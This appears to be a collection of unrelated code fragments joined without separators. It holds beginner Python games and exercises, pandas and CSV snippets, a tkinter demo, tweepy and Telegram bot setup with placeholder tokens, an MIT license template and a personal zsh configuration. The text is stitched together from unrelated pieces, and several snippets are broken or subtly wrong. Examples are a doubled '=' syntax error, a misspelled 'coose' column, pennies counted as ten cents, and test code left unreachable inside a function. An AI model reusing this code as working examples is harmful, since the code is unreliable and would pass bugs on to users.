import plotly.graph_objects as go
import pandas as pd

def PrintChartData():
    data = pd.read_csv("eurusd_m1_03.03.2022.csv")
    return data


def PrintDataChart():
    data = pd.read_csv("eurusd_m1_03.03.2022.csv")
    chart_data = go.Candlestick(
        x=data["time"],
        open=data["open"],
        high=data["high"],
        low=data["low"],
        close=data["close"],
    )
    fig = go.Figure(data=[chart_data])
    print(fig.show())


PrintDataChart()
fileinput = str(input("Which file do you want?"))
if not ".csv" in fileinput:
  fileinput += ".csv"
fileinput = str(input("Which file do you want?"))
if not ".csv" in fileinput:
  fileinput += ".csv"
  import pandas as pd 
data = pd.read_csv(fileinput)
rowcol = input("Column or row?")
if rowcol == "column":
  column = int(input("Which column?"))
  result = data.iloc([column])
elif rowcol == "row":
  row = int(input("Which row?"))
  result = data.iloc[[row]]
else:
  print("Invalid response.")

print(result)
import pandas as pd # pip install pandas

#read the CSV file
data_file = =pd.read_csv('some_file.csv')
print(data_file)
import csv

with open('example.csv') as csvfile:
    readCSV = csv.reader(csvfile, delimiter=',')
import os

MENU = {
    "espresso": {
        "ingredients": {
            "water": 50,
            "coffee": 18,
        },
        "cost": 1.5,
    },
    "latte": {
        "ingredients": {
            "water": 200,
            "milk": 150,
            "coffee": 24,
        },
        "cost": 2.5,
    },
    "cappuccino": {
        "ingredients": {
            "water": 250,
            "milk": 100,
            "coffee": 24,
        },
        "cost": 3.0,
    }
}

resources = {
    "water": 300,
    "milk": 200,
    "coffee": 100,
    "money": 0
}

current_resources = resources

# TODO: 1 Print report


def report(item):

    print("*"*20)
    print(f"* Water : {item['water']}ml")
    if "milk" in item:
        print(f"* Milk : {item['milk']}ml")
    print(f"* Coffee : {item['coffee']}g")
    if "money" in item:
        print(f"* Money : ${item['money']:.2f}")
    print("*"*20)


# TODO: 3 Resources check


def sufficient_resources(item):

    water = False
    milk = False
    coffee = False
    if resources["water"] >= item["ingredients"]["water"]:
        water = True
    else:
        print("Sorry, there's not enough water")

    if resources["coffee"] >= item["ingredients"]["coffee"]:
        coffee = True
    else:
        print("Sorry, there's not enough coffee")
    if "milk" in item["ingredients"]:
        if resources["milk"] >= item["ingredients"]["milk"]:
            milk = True
        else:
            print("Sorry, there's not enough milk")
    else:
        milk = True

    return water and milk and coffee


# TODO: 4 Process payment
def process_coins(item):
    cost = item["cost"]
    amount = cost
    result = False

    print(f"Please insert coins to the value of ${cost:.2f}.")
    quarters = int(input("  How many quarters?: "))
    amount -= (quarters * 0.25)
    if amount > 0:
        dimes = int(input("  How many dimes?: "))
        amount -= (dimes * 0.1)
        if amount > 0:
            nickels = int(input("  How many nickels?: "))
            amount -= (nickels * 0.05)
            if amount > 0:
                pennies = int(input("  How many pennies?: "))
                amount -= (pennies * 0.1)
    if amount > 0:
        print(f"Sorry, that's not enough money. Your ${amount:.2f} has been refunded.")
        return False
    elif amount < 0:
        print(f"Here is ${abs(amount):.2f} in change.")
        return True
    else:
        return True


def update_resources(item):

    water = resources["water"] - item["ingredients"]["water"]
    coffee = resources["coffee"] - item["ingredients"]["coffee"]
    if "milk" in item["ingredients"]:
        milk = resources["milk"] - item["ingredients"]["milk"]
    else:
        milk = resources["milk"]
    money = resources["money"] + item["cost"]
    updated_resources = {
        "water": water,
        "milk": milk,
        "coffee": coffee,
        "money": money,
    }
    return updated_resources


clear = lambda: os.system("cls")


# Main program flow ===========================================================


machine_on = True
choices = ["report", "off", "espresso", "latte", "cappuccino"]
drink = ""

# TODO: 2 User prompt

while machine_on:
    # clear()
    prompt = ""
    while prompt not in choices:
        prompt = input("  What would you like? (espresso/latte/cappuccino): ").lower()
        if prompt == "off":
            machine_on = False
        elif prompt == "report":
            report(resources)
        elif prompt in choices:
            drink = MENU[prompt]

    if type(drink) != str and prompt != "report":
        if not sufficient_resources(drink):
            pass
        else:
            if process_coins(drink):
                resources = update_resources(drink)
                # print(resources)
                print(f"Here is your {prompt}. Enjoy!☕")
from dataclasses import dataclass
 
@dataclass
class Book_list:
	name: str
	perunit_cost: float
	quantity_available: int = 0
		
	# function to calculate total cost	
	def total_cost(self) -> float:
		return self.perunit_cost * self.quantity_available
	
book = Book_list("Introduction to programming.", 300, 3)
x = book.total_cost()
 
# print the total cost
# of the book
print(x)
 
# print book details
print(book)
 
# 900
Book_list(name='Python programming.',
		perunit_cost=200,
		quantity_available=3)
MIT License

Copyright (c) [year] [fullname]

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
def print_data_chart():
    data = pd.read_csv("USDCAD.csv")
    chart_data = go.Candlestick(x=data['time'], open=data['open'], high=data['high'], low=data['low'], close=data['coose'])
df['year'] = df['date'].dt.year if we put dt.month is for month etc..
df.head()
def find_boundaries(df, variable, distance=1.5):

    IQR = df[variable].quantile(0.75) - df[variable].quantile(0.25)

    lower_boundary = df[variable].quantile(0.25) - (IQR * distance)
    upper_boundary = df[variable].quantile(0.75) + (IQR * distance)

    return upper_boundary, lower_boundary
data.nunique().plot.bar(figsize=(12,6))
plt.ylabel('Number of unique categories')
plt.xlabel('Variables')
plt.title('Cardinality')

## Version with 5% threshold

fig = label_freq.sort_values(ascending=False).plot.bar()
fig.axhline(y=0.05, color='red')
fig.set_ylabel('percentage of cars within each category')
fig.set_xlabel('Variable: class')
fig.set_title('Identifying Rare Categories')
plt.show()
data.isnull().mean().plot.bar(figsize=(12,6))
plt.ylabel('Percentage of missing values')
plt.xlabel('Variables')
plt.title('Quantifying missing data')
# Get the Numerical Data list to infer distribution plots

numerical = [var for var in df.columns if df[var].dtype!='O'] 
print('There are {} numerical variables\n'.format(len(numerical))) 
print('The numerical variables are :', numerical)

# Get the Categorical Data list to infer distribution plots

categorical = [var for var in df.columns if df[var].dtype =='O'] 
print('There are {} Categorical variables\n'.format(len(categorical))) 
print('The Categorical variables are :', categorical)
#Add the new column which gives a unique number to each of these labels 

df['label_num'] = df['label'].map({
    'Household' : 0, 
    'Books': 1, 
    'Electronics': 2, 
    'Clothing & Accessories': 3
})

#checking the results 
df.head(5)
### utlity function for pre-processing the text
import spacy

# load english language model and create nlp object from it
nlp = spacy.load("en_core_web_sm") 

def preprocess(text):
    # remove stop words and lemmatize the text
    doc = nlp(text)
    filtered_tokens = []
    for token in doc:
        if token.is_stop or token.is_punct:
            continue
        filtered_tokens.append(token.lemma_)
    
    return " ".join(filtered_tokens) 

df['preprocessed_txt'] = df['Text'].apply(preprocess)
import pandas as pd

read_file = pd.read_excel (r'Path where the Excel file is stored\File name.xlsx')
read_file.to_csv (r'Path to store the CSV file\File name.csv', index = None, header=True)
import feedparser
d = feedparser.parse('https://news.yahoo.co.jp/pickup/rss.xml')
d['feed']['title']

# ライブラリの読み込み
import tweepy

#****には自身のコードを入力してください
CONSUMER_KEY = '****'
CONSUMER_SECRET = '****'
ACCESS_TOKEN = '****'
ACCESS_SECRET = '****'

#twitter認証
auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)
api = tweepy.API(auth)

# アカウント指定(Twitterアカウントの@以降の英数字)
Account = '****'

# アカウントの内部IDを取得する
inner_id = api.user_timeline(Account, count=1, page=0)[0].user.id

api.send_direct_message(recipient_id=inner_id,text='Hello world!')
"""
This is an example of Google style.

Args:
    param1: This is the first param.
    param2: This is a second param.

Returns:
    This is a description of what is returned.

Raises:
    KeyError: Raises an exception.
"""
data = [
    {
        'name': 'Instagram',
        'follower_count': 346,
        'description': 'Social media platform',
        'country': 'United States'
    },
    {
        'name': 'Cristiano Ronaldo',
        'follower_count': 215,
        'description': 'Footballer',
        'country': 'Portugal'
    },
    {
        'name': 'Ariana Grande',
        'follower_count': 183,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Dwayne Johnson',
        'follower_count': 181,
        'description': 'Actor and professional wrestler',
        'country': 'United States'
    },
    {
        'name': 'Selena Gomez',
        'follower_count': 174,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Kylie Jenner',
        'follower_count': 172,
        'description': 'Reality TV personality and businesswoman and Self-Made Billionaire',
        'country': 'United States'
    },
    {
        'name': 'Kim Kardashian',
        'follower_count': 167,
        'description': 'Reality TV personality and businesswoman',
        'country': 'United States'
    },
    {
        'name': 'Lionel Messi',
        'follower_count': 149,
        'description': 'Footballer',
        'country': 'Argentina'
    },
    {
        'name': 'Beyoncé',
        'follower_count': 145,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Neymar',
        'follower_count': 138,
        'description': 'Footballer',
        'country': 'Brasil'
    },
    {
        'name': 'National Geographic',
        'follower_count': 135,
        'description': 'Magazine',
        'country': 'United States'
    },
    {
        'name': 'Justin Bieber',
        'follower_count': 133,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Taylor Swift',
        'follower_count': 131,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Kendall Jenner',
        'follower_count': 127,
        'description': 'Reality TV personality and Model',
        'country': 'United States'
    },
    {
        'name': 'Jennifer Lopez',
        'follower_count': 119,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Nicki Minaj',
        'follower_count': 113,
        'description': 'Musician',
        'country': 'Trinidad and Tobago'
    },
    {
        'name': 'Nike',
        'follower_count': 109,
        'description': 'Sportswear multinational',
        'country': 'United States'
    },
    {
        'name': 'Khloé Kardashian',
        'follower_count': 108,
        'description': 'Reality TV personality and businesswoman',
        'country': 'United States'
    },
    {
        'name': 'Miley Cyrus',
        'follower_count': 107,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': 'Katy Perry',
        'follower_count': 94,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Kourtney Kardashian',
        'follower_count': 90,
        'description': 'Reality TV personality',
        'country': 'United States'
    },
    {
        'name': 'Kevin Hart',
        'follower_count': 89,
        'description': 'Comedian and actor',
        'country': 'United States'
    },
    {
        'name': 'Ellen DeGeneres',
        'follower_count': 87,
        'description': 'Comedian',
        'country': 'United States'
    },
    {
        'name': 'Real Madrid CF',
        'follower_count': 86,
        'description': 'Football club',
        'country': 'Spain'
    },
    {
        'name': 'FC Barcelona',
        'follower_count': 85,
        'description': 'Football club',
        'country': 'Spain'
    },
    {
        'name': 'Rihanna',
        'follower_count': 81,
        'description': 'Musician and businesswoman',
        'country': 'Barbados'
    },
    {
        'name': 'Demi Lovato',
        'follower_count': 80,
        'description': 'Musician and actress',
        'country': 'United States'
    },
    {
        'name': "Victoria's Secret",
        'follower_count': 69,
        'description': 'Lingerie brand',
        'country': 'United States'
    },
    {
        'name': 'Zendaya',
        'follower_count': 68,
        'description': 'Actress and musician',
        'country': 'United States'
    },
    {
        'name': 'Shakira',
        'follower_count': 66,
        'description': 'Musician',
        'country': 'Colombia'
    },
    {
        'name': 'Drake',
        'follower_count': 65,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Chris Brown',
        'follower_count': 64,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'LeBron James',
        'follower_count': 63,
        'description': 'Basketball player',
        'country': 'United States'
    },
    {
        'name': 'Vin Diesel',
        'follower_count': 62,
        'description': 'Actor',
        'country': 'United States'
    },
    {
        'name': 'Cardi B',
        'follower_count': 67,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'David Beckham',
        'follower_count': 82,
        'description': 'Footballer',
        'country': 'United Kingdom'
    },
    {
        'name': 'Billie Eilish',
        'follower_count': 61,
        'description': 'Musician',
        'country': 'United States'
    },
    {
        'name': 'Justin Timberlake',
        'follower_count': 59,
        'description': 'Musician and actor',
        'country': 'United States'
    },
    {
        'name': 'UEFA Champions League',
        'follower_count': 58,
        'description': 'Club football competition',
        'country': 'Europe'
    },
    {
        'name': 'NASA',
        'follower_count': 56,
        'description': 'Space agency',
        'country': 'United States'
    },
    {
        'name': 'Emma Watson',
        'follower_count': 56,
        'description': 'Actress',
        'country': 'United Kingdom'
    },
    {
        'name': 'Shawn Mendes',
        'follower_count': 57,
        'description': 'Musician',
        'country': 'Canada'
    },
    {
        'name': 'Virat Kohli',
        'follower_count': 55,
        'description': 'Cricketer',
        'country': 'India'
    },
    {
        'name': 'Gigi Hadid',
        'follower_count': 54,
        'description': 'Model',
        'country': 'United States'
    },
    {
        'name': 'Priyanka Chopra Jonas',
        'follower_count': 53,
        'description': 'Actress and musician',
        'country': 'India'
    },
    {
        'name': '9GAG',
        'follower_count': 52,
        'description': 'Social media platform',
        'country': 'China'
    },
    {
        'name': 'Ronaldinho',
        'follower_count': 51,
        'description': 'Footballer',
        'country': 'Brasil'
    },
    {
        'name': 'Maluma',
        'follower_count': 50,
        'description': 'Musician',
        'country': 'Colombia'
    },
    {
        'name': 'Camila Cabello',
        'follower_count': 49,
        'description': 'Musician',
        'country': 'Cuba'
    },
    {
        'name': 'NBA',
        'follower_count': 47,
        'description': 'Club Basketball Competition',
        'country': 'United States'
    }
]
logo = """
    __  ___       __             
   / / / (_)___ _/ /_  ___  _____
  / /_/ / / __ `/ __ \/ _ \/ ___/
 / __  / / /_/ / / / /  __/ /    
/_/ ///_/\__, /_/ /_/\___/_/     
   / /  /____/_      _____  _____
  / /   / __ \ | /| / / _ \/ ___/
 / /___/ /_/ / |/ |/ /  __/ /    
/_____/\____/|__/|__/\___/_/     
"""

vs = """
 _    __    
| |  / /____
| | / / ___/
| |/ (__  ) 
|___/____(_)
"""
# Import art & game data
from art import logo, vs
from game_data import data
import random
# from replit import clear
import os    # use system clear to clear screen


# Linux version
clear = lambda: os.system('clear')
# Windows version
# clear = lambda: os.system('cls')


def new_high_low():
    """
    Generate unique new item(s) to compare
    """
    
    compare["A"] = compare["C"]
    compare["B"] = random.choice(data)
    # Ensure the values are NOT the same!
    while compare["B"] == compare["A"]:
        compare["B"] = random.choice(data)

        
def display_compare():
    """
    Function to display comparisons, collect and return choice
    """
    
    clear()
    print(logo)
    vowels = ["a","e","i","o","u"]
    new_high_low()
    if score:
        print(f"You're right! Current score: {score}.")
    print(f"Compare A: {compare['A']['name']}, a{'n' if compare['A']['description'][0].lower() in vowels else ''} {compare['A']['description']}, {compare['A']['country']}")
    print(vs)
    print(f"Against B: {compare['B']['name']}, a{'n' if compare['B']['description'][0].lower() in vowels else ''} {compare['B']['description']}, {compare['B']['country']}")
    choice = input("\nWho has more followers? Type 'A' or 'B': ").upper()
    if choice == "A":
        return "A","B"
    return "B","A"


def higher_lower(answer):
    """
    Return True/False whether answer correct and, if True, capture answer
    """
    if compare[answer[0]]["follower_count"] > compare[answer[1]]["follower_count"]:
        compare["C"] = compare[answer[0]]
        return True
    return False

    
#Initialise Dictionary to hold values for comparison
compare = {}
compare["C"] = random.choice(data)

# Start game here...

play_again = True
while play_again:
    score = 0
    end_game = False
    
    while not end_game:
        if higher_lower(display_compare()):
            score += 1
        else:
            end_game = True
            clear()
            print(logo)
            if input(f"Sorry, that's wrong. Final score: {score}.\nGame over. Play again? Type 'y' or 'n': ").lower() == 'n':
                play_again = False
            
import random
# from art import logo

logo = """
.------.            _     _            _    _            _    
|A_  _ |.          | |   | |          | |  (_)          | |   
|( \/ ).-----.     | |__ | | __ _  ___| | ___  __ _  ___| | __
| \  /|K /\  |     | '_ \| |/ _` |/ __| |/ / |/ _` |/ __| |/ /
|  \/ | /  \ |     | |_) | | (_| | (__|   <| | (_| | (__|   < 
`-----| \  / |     |_.__/|_|\__,_|\___|_|\_\ |\__,_|\___|_|\_\\
      |  \/ K|                            _/ |                
      `------'                           |__/           
"""


deck = [11,2,3,4,5,6,7,8,9,10,10,10]

def sum(numbers):
    total = 0
    for num in numbers:
        total += num
    return total

def reset_hands():

    global player_hand
    global computer_hand

    player_hand = {"cards" : []}
    computer_hand = {"cards" : []}

    while len(player_hand["cards"]) < 2:
        add_card(player_hand)

    while len(computer_hand["cards"]) < 2:
        add_card(computer_hand)

    display_hands()


def display_hands():
    print(f"\n  Your cards: {player_hand['cards']}, current score: {player_hand['score']}")
    print(f"  Computer's first card: {computer_hand['cards'][0]}\n")



def add_card(player):
    player["cards"].append(random.choice(deck))
    player["score"] = sum(player["cards"])
    if player["score"] > 21 and 11 in player["cards"]:
        # print(f"***Ace found!... {player['cards']}")
        ace = player["cards"].index(11)
        player["cards"][ace] = 1
        player["score"] = sum(player["cards"])
        # print(f"***Ace replaced!... {player['cards']}")



def show_final_hands():
    p_score = player_hand["score"]
    c_score = computer_hand["score"]

    while c_score < 17 and p_score < 21:
        add_card(computer_hand)
        c_score = computer_hand["score"]

    if p_score == c_score:
        result = "Draw"
    elif p_score > 21:
        result = "You went over. You lose!"
    elif c_score > 21:
        result = "Opponent went over. You win! :)"
    elif p_score == 21:
        if len(player_hand["cards"]) == 2:
            result = "Blackjack... You win!"
        else:
            result = "21... You win!"
    elif c_score == 21:
        if len(computer_hand["cards"]) == 2:
            result = "Blackjack... You win!"
        else:
            result = "21... You win!"
        result = "21... You lose!"
    elif p_score > c_score:
        result = "You win!"
    else:
        result = "You lose!"

    print(f"\nYour final hand: {player_hand['cards']}, final score: {player_hand['score']}")
    print(f"Computer's final hand: {computer_hand['cards']}, final score: {computer_hand['score']}")
    print(f"{result}\n")
    print("\n\t*********************\n")

end_game = False
end_round = False
first_game = True

while not end_game:

    play_again = input(f"\nDo you want to play a{'' if first_game else 'nother'} game of Blackjack? Type 'y' or 'n': ").lower()
    first_game = False
    

    if play_again == "n":
        print("Goodbye")
        end_game = True
    elif play_again == "y":
        print(logo)
        reset_hands()
        hit = input("Type 'y' to get another card, type 'n' to pass: ").lower()

        if hit == "n":
            end_round = True
            show_final_hands()
        elif hit == "y":
            end_round = False
            while not end_round:
                add_card(player_hand)
                display_hands()
                if player_hand["score"] >= 21:
                    end_round = True
                    show_final_hands()
                elif player_hand["score"] < 21:
                    hit = input("Type 'y' to get another card, type 'n' to pass: ").lower()
                    if hit == "n":
                        end_round = True
                        show_final_hands()
        else:
            end_game = True
            print("Sorry, invalid response...\nGame over.")
    else:
        end_game = True
        print("Sorry, invalid response...\nGame over.")
import random
#from art import logo

logo = """
   _____                       _   _            _   _                 _                  
  / ____|                     | | | |          | \ | |               | |                 
 | |  __ _   _  ___  ___ ___  | |_| |__   ___  |  \| |_   _ _ __ ___ | |__   ___ _ __    
 | | |_ | | | |/ _ \/ __/ __| | __| '_ \ / _ \ | . ` | | | | '_ ` _ \| '_ \ / _ \ '__|   
 | |__| | |_| |  __/\__ \__ \ | |_| | | |  __/ | |\  | |_| | | | | | | |_) |  __/ |_ _ _ 
  \_____|\__,_|\___||___/___/  \__|_| |_|\___| |_| \_|\__,_|_| |_| |_|_.__/ \___|_(_|_|_)
                                                                                         
                                                                                       
"""
end_game = False
while not end_game:
    #print(logo)
    print("Welcome to the Number Guessing Game!")

    print("I'm thnking of a number between 1 and 100.")

    the_number = random.randint(1,100)
    difficulty = ""

    print(f"Hint: \"Shhhh... the number is {the_number}\"\n\n")

    def wrong_guess(num):
        if num:
            print(f"Guess again.\nYou have {num} attempts remaining to guess the number.\n")
        else:
            print(f"You've run out of guesses.\nThe correct number was {the_number}, you lose.")

    choices = ["e","easy","h","hard"]
    chances = 3
    while difficulty not in choices and chances:

        difficulty = input("Choose a difficulty. Type 'easy' or hard': ").lower()
        chances -= 1

    if not chances:
        print("Game Over. No valid difficulty entered.")
    else:
        print(difficulty)

        if difficulty.startswith("h"):
            attempts = 5
        else:
            attempts = 10
        print(f"You have {attempts} attempts remaining to guess the number.")

        guess = 0
        while guess != the_number and attempts:
            guess = int(input("Make a guess: "))
            attempts -= 1
            if guess == the_number:
                print(f"You got it! The answer was {the_number}.")
            else:
                if guess > the_number:
                    print("Too high.")
                else:
                    print("Too low.")
                wrong_guess(attempts)
            
        play_again = input("\nDo you want to play again. Type 'y' or 'n': ")
        if play_again == 'n':
            end_game = True
            print("Goodbye.")
a = [1, 2, 3]
print(f"Unpacked list: {*a,}")
# Unpacked list: (1, 2, 3)
	# If you come from bash you might have to change your $PATH.
# export PATH=$HOME/bin:/usr/local/bin:$PATH

# Path to your oh-my-zsh installation.
export ZSH="$HOME/.oh-my-zsh"
source ~/.bash_profile

# Set name of the theme to load --- if set to "random", it will
# load a random theme each time oh-my-zsh is loaded, in which case,
# to know which specific one was loaded, run: echo $RANDOM_THEME
# See https://github.com/ohmyzsh/ohmyzsh/wiki/Themes
ZSH_THEME="robbyrussell"

# Set list of themes to pick from when loading at random
# Setting this variable when ZSH_THEME=random will cause zsh to load
# a theme from this variable instead of looking in $ZSH/themes/
# If set to an empty array, this variable will have no effect.
# ZSH_THEME_RANDOM_CANDIDATES=( "robbyrussell" "agnoster" )

# Uncomment the following line to use case-sensitive completion.
# CASE_SENSITIVE="true"

# Uncomment the following line to use hyphen-insensitive completion.
# Case-sensitive completion must be off. _ and - will be interchangeable.
# HYPHEN_INSENSITIVE="true"

# Uncomment one of the following lines to change the auto-update behavior
# zstyle ':omz:update' mode disabled  # disable automatic updates
# zstyle ':omz:update' mode auto      # update automatically without asking
# zstyle ':omz:update' mode reminder  # just remind me to update when it's time

# Uncomment the following line to change how often to auto-update (in days).
# zstyle ':omz:update' frequency 13

# Uncomment the following line if pasting URLs and other text is messed up.
# DISABLE_MAGIC_FUNCTIONS="true"

# Uncomment the following line to disable colors in ls.
# DISABLE_LS_COLORS="true"

# Uncomment the following line to disable auto-setting terminal title.
# DISABLE_AUTO_TITLE="true"

# Uncomment the following line to enable command auto-correction.
# ENABLE_CORRECTION="true"

# Uncomment the following line to display red dots whilst waiting for completion.
# You can also set it to another string to have that shown instead of the default red dots.
# e.g. COMPLETION_WAITING_DOTS="%F{yellow}waiting...%f"
# Caution: this setting can cause issues with multiline prompts in zsh < 5.7.1 (see #5765)
# COMPLETION_WAITING_DOTS="true"

# Uncomment the following line if you want to disable marking untracked files
# under VCS as dirty. This makes repository status check for large repositories
# much, much faster.
# DISABLE_UNTRACKED_FILES_DIRTY="true"

# Uncomment the following line if you want to change the command execution time
# stamp shown in the history command output.
# You can set one of the optional three formats:
# "mm/dd/yyyy"|"dd.mm.yyyy"|"yyyy-mm-dd"
# or set a custom format using the strftime function format specifications,
# see 'man strftime' for details.
# HIST_STAMPS="mm/dd/yyyy"

# Would you like to use another custom folder than $ZSH/custom?
# ZSH_CUSTOM=/path/to/new-custom-folder

# Which plugins would you like to load?
# Standard plugins can be found in $ZSH/plugins/
# Custom plugins may be added to $ZSH_CUSTOM/plugins/
# Example format: plugins=(rails git textmate ruby lighthouse)
# Add wisely, as too many plugins slow down shell startup.
plugins=(git)

source $ZSH/oh-my-zsh.sh

# User configuration

# export MANPATH="/usr/local/man:$MANPATH"

# You may need to manually set your language environment
# export LANG=en_US.UTF-8

# Preferred editor for local and remote sessions
# if [[ -n $SSH_CONNECTION ]]; then
#   export EDITOR='vim'
# else
#   export EDITOR='mvim'
# fi

# Compilation flags
# export ARCHFLAGS="-arch x86_64"

# Set personal aliases, overriding those provided by oh-my-zsh libs,
# plugins, and themes. Aliases can be placed here, though oh-my-zsh
# users are encouraged to define aliases within the ZSH_CUSTOM folder.
# For a full list of active aliases, run `alias`.
#
# Example aliases
# alias zshconfig="mate ~/.zshrc"
# alias ohmyzsh="mate ~/.oh-my-zsh"

#----------------------------------------------------------
alias dockerpat="docker run --rm -v /Users/huseyinsametcikrikci/Desktop/test/tempstorage/:/home/seluser/tempstorage" 
alias lf="ls -F"
alias vc="code ."
alias cl="clear"
alias py="python3"

alias pipfreeze="pip3 freeze > requirements.txt"
alias pipins="pip install -r requirements.txt"

alias vpn='sudo openfortivpn -c Documents/forticonfig'

alias envlist="conda env list"

alias dockerrun="docker run --rm -v /Users/huseyinsametcikrikci/Desktop/test/tempstorage/:/home/seluser/tempstorage" 
# -- ENVIRONMENT -- -----------------------------
alias active="conda activate"
alias deactiv="deactivate deactivate"
alias openzsh="open ~/.zshrc"
alias sourczsh="source ~/.zshrc" 

alias myenv="conda activate my_project" 

# -- CD FOLDER -- -----------------------------
alias myproje="cd /Users/huseyinsametcikrikci/Desktop/MY_Projects"
alias examp="cd /Users/huseyinsametcikrikci/Desktop/MY_Projects/examp"

alias envscrap="conda activate web-scraping"
alias cd .="cd .." 
alias cd.="cd .."
alias ip="ipython"


alias makc="make clean" 
alias makec="make clean" 
alias mkc="make clean" 

alias m="make"
alias mc="make clean" 
alias ms="make start" 
import math
def slerp_theta(z1, z2, theta): 
	return math.cos(theta) * z1 + math.sin(theta) * z2
import random

rock = '''
    _______
---'   ____)
      (_____)
      (_____)
      (____)
---.__(___)
'''

paper = '''
    _______
---'   ____)____
          ______)
          _______)
         _______)
---.__________)
'''

scissors = '''
    _______
---'   ____)____
          ______)
       __________)
      (____)
---.__(___)
'''


user_choices = ["0","1","2"]
image_list = [rock, paper, scissors]
choice = input("What do you choose? Type 0 for Rock, 1 for Paper, or 2 for Scissors.\n")

if choice not in user_choices:
    print("Invalid input. Game Over.")
else:
    player1 = int(choice)

    print(image_list[player1])

    computer = random.randint(0,2)

    print(f"\nComputer chose:\n\n{image_list[computer]}")

    if player1 == computer:
        message = "It's a draw"
    elif (player1 == 0 and computer == 2) or (player1 == 2 and computer == 1) or (player1 == 1 and computer == 0):
        message = "You win!"
    else:
        message = "You lose!"

    print(f"\n{message}")
        

    
def linearSearch(array, n, x):
    for i in range(0, n):
        if (array[i] == x):
            return i
    return -1

    array = [2, 4, 0, 1, 9]
    x = 1
    n = len(array)
    result = linearSearch(array, n, x)

    if(result == -1):
        print('element not found')
    else:
        print('element found at index: ', result)
customed_style.configure('Custom.TButton', font=('Helvetica', 11), background="red", foreground='white')

customed_style.configure("Custom.Treeview.Heading", background="blue", foreground="white", relief="flat", font=('Helvetica', 10, 'bold'))
import tkinter as tk
from tkinter import ttk


class MainWindow:
    def __init__(self, master):
        self.master = master
        self.master.title("Python tkinter ttk Style")
        self.master.wm_iconbitmap('icon.ico')

        self.frame_buttons = ttk.Frame(self.master)
        self.frame_buttons.grid(row=0, column=0, padx=4, pady=4, sticky='nesw')

        self.frame_treeview = ttk.Frame(self.master)
        self.frame_treeview.grid(row=1, column=0, padx=4, pady=4, sticky='nesw')

        self.create_buttons()
        self.create_treeview()

    def create_buttons(self):
        self.details_button_image = tk.PhotoImage(file='details_button.png').subsample(3, 3)
        self.edit_button_image = tk.PhotoImage(file='edit_button.png').subsample(3, 3)
        self.delete_button_image = tk.PhotoImage(file='delete_button.png').subsample(3, 3)

        self.button_details = ttk.Button(self.frame_buttons, text="Details", image=self.details_button_image, compound="left", style='Custom.TButton')
        self.button_details.grid(row=0, column=0, padx=4, pady=4)

        self.button_edit = ttk.Button(self.frame_buttons, text="Edit", image=self.edit_button_image, compound="left", style='Custom.TButton')
        self.button_edit.grid(row=0, column=1, padx=4, pady=4)

        self.button_delete = ttk.Button(self.frame_buttons, text="Delete", image=self.delete_button_image, compound="left", style='Custom.TButton')
        self.button_delete.grid(row=0, column=2, padx=4, pady=4)

    def create_treeview(self):
        self.treeview_person_list = ttk.Treeview(self.frame_treeview, columns=('name', 'email', 'contact', 'address'), height=6)
        self.treeview_person_list.grid(row=0, column=0, padx=4, pady=4)

        self.treeview_person_list.heading('#0', text="ID")
        self.treeview_person_list.column("#0", minwidth=50, width=50, anchor='center')
        self.treeview_person_list.heading('#1', text="Full Name")
        self.treeview_person_list.column("#1", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#2', text="Email")
        self.treeview_person_list.column("#2", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#3', text="Phone")
        self.treeview_person_list.column("#3", minwidth=150, width=150, anchor='w')
        self.treeview_person_list.heading('#4', text="Street Address")
        self.treeview_person_list.column("#4", minwidth=150, width=150, anchor='w')

        self.treeview_person_list.insert('', 'end', text='01', values=('Annabel Geffen', 'ageffen0@hc360.com', '+55 138 953 4728', '34346 6th Pass'))
        self.treeview_person_list.insert('', 'end', text='02', values=('Ailey Myring', 'amyring1@lulu.com', '+234 874 785 2200', '72 Cody Street'))
        self.treeview_person_list.insert('', 'end', text='03', values=('Sherie Meeron', 'smeeron2@xing.com', '+86 348 534 4411', '0896 Express Park'))
        self.treeview_person_list.insert('', 'end', text='04', values=('Alice Grayston', 'agrayston3@phpbb.com', '+51 591 958 5938', '540 Beilfuss Circle'))
        self.treeview_person_list.insert('', 'end', text='05', values=('Hasheem Halbard', 'hhalbard4@wikia.com', '+593 493 130 1417', '08291 Shasta Parkway'))


def main():
    root = tk.Tk()

    customed_style = ttk.Style()
    customed_style.configure('Custom.TButton', font=('Helvetica', 11))

    app = MainWindow(root)
    root.mainloop()


if __name__ == '__main__':
    main()
#!/usr/bin/env /usr/bin/python
# -*- coding: utf-8 -*-

import sys

reload(sys)
sys.setdefaultencoding("utf-8")

print "área"
#Server:

import telebot
import json
import sys
from telebot import types

bot_token = '999999999:xxxxxxxxxxxxxxxxxxxx'
bot = telebot.TeleBot(bot_token)
